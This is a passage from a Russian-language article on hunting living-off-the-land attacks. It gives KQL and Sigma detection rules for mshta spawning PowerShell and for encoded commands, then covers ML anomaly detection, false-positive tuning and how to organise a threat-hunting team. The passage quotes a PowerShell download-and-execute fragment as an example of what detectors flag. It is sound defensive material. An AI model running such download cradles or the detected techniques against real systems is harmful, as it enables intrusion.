Также важно обучать админов безопасной работе: не использовать один аккаунт для всего, не запускать скрипты из непроверенных источников, не оставлять сессии открытыми.

Когда ручная охота надоедает (или её слишком много), приходит время автоматизации. Но автоматизация не заменяет охотника, она помогает ему не тонуть в данных.

Правила корреляции

Простые правила на подозрительные цепочки и команды.

Примеры для разных платформ:

Для Elastic (KQL):

text
process.parent.name: mshta.exe and process.name: powershell.exe
text
process.command_line: *-EncodedCommand* and process.name: powershell.exe
text
winlog.event_id: 4698 and winlog.event_data.TaskName: *Updater* and winlog.event_data.Command: *powershell*

Для KQL (Azure Sentinel):

kusto
SecurityEvent
| where EventID == 4688
| extend ParentProcess = tostring(parse_json(EventData).ParentProcessName)
| where ParentProcess contains "mshta" and NewProcessName contains "powershell"
kusto
SecurityEvent
| where EventID == 4688
| where CommandLine contains "-EncodedCommand" and NewProcessName contains "powershell"

Для Sigma - универсальный формат, который можно конвертировать под любую платформу. Пример правила Sigma на mshta → powershell:

yaml
title: Mshta Spawning PowerShell
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects mshta.exe spawning powershell.exe
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\mshta.exe'
        Image|endswith: '\powershell.exe'
    condition: selection

Сценарии для поиска аномалий

Idaho National Lab разработала интересный подход: они используют графовые нейросети для анализа сетевых структур. Устройства в сети обычно общаются по определённым паттернам: DNS-серверы, файловые серверы, клиенты. GCN строит эмбеддинги для каждого устройства и ищет те, которые выбиваются из общей структуры - например, клиент, который вдруг начал общаться как сервер.

Другой подход - анализ User Agent в логах прокси. Хакеры часто используют нестандартные User Agent или подделывают их, но не идеально.

LOTLDetector, о котором мы говорили, комбинирует нейросети и экспертные правила. Нейросеть учится семантике командной строки и понимает, что команда «Invoke-Expression (New-Object Net.WebClient).DownloadString(...)» - это подозрительно, даже если она закодирована.

Другие ML-подходы:

• Анализ временных рядов - поиск периодической активности.
• Кластеризация процессов - выделение типового поведения и поиск выбросов.
• NLP для анализа командной строки - понимание намерения.

Борьба с ложными срабатываниями

Чем больше правил, тем больше шума. Аналитики тонут в ложных срабатываниях и перестают реагировать. Google рекомендует использовать rule exceptions - исключения для известной легитимной активности. Если какой-то процесс постоянно срабатывает как подозрительный, но на самом деле это легальный софт - добавь его в исключения.

Vectra использует скоринг: каждой аномалии присваивается Urgency Score на основе множества факторов - количество детектов, скорость их появления, критичность аккаунта. Аналитик смотрит на топ самых срочных, а не тонет в тысячах событий.

---

​

Организация процесса охоты в компании​

Охота - это не разовое мероприятие, а непрерывный процесс. Нужна команда, процессы и инструменты.

Команда охотников (Threat Hunting Team)

Это могут быть отдельные люди или часть SOC. Главное - они должны иметь время на охоту, а не только на реагирование на инциденты.

Что нужно охотнику:

• Доступ ко всем логам.
• Понимание бизнеса и инфраструктуры.
• Навыки работы с SIEM, EDR, Python, KQL.
• Креативность и подозрительность.

Процесс охоты (Hunting Loop)

1. Формулировка гипотезы. На основе threat-intel, новых уязвимостей, подозрений. Например: «APT29 могла использовать WMI-персистенс в нашем домене».
2. Сбор данных. Запросы к SIEM, логам, netflow.
3. Анализ. Поиск подтверждений или опровержений.
4. Документирование. Если нашли - инцидент, если нет - сохраняем гипотезу для будущего.

Playbooks для охоты

Заранее написанные сценарии охоты на конкретные техники. Например:

• Playbook «Охота на PowerShell-даунлоадеры».
• Playbook «Охота на WMI-персистенс».
• Playbook «Охота на DNS-туннелирование».

Playbook содержит:

• Индикаторы для поиска.
• Запросы к SIEM.
• Что делать при обнаружении.

---

Заключение​

LotL - это не модный тренд, который пройдёт через год. Это новая реальность. Хакеры будут использовать твои же инструменты, потому что это удобно, дёшево и эффективно. Сигнатуры тут бессильны, EDR видят только верхушку айсберга, а настоящая охота требует времени и мозгов.

Но это не значит, что надо опустить руки. Базовая гигиена, правильные логи, знание своей сети, проактивный поиск аномалий - всё это работает. Не на 100%, конечно. Ничто не работает на 100%. Но достаточно, чтобы сделать твою сеть менее привлекательной целью.

Согласно статистике SANS, LotL используют три четверти государственных хакеров и почти половина рэнсомвайр-операторов. Им нужна лёгкая добыча. Если ты настроишь логи, включишь PowerShell-транскрипцию, научишься замечать mshta.exe, порождающий powershell.exe, - ты уже будешь в верхних процентах защищённости. Они пойдут к тем, кто не чешется.

Война с призраками никогда не заканчивается. Она просто переходит в новую фазу. Твоя задача - быть готовым к этой фазе. Потому что они уже здесь. Или будут завтра.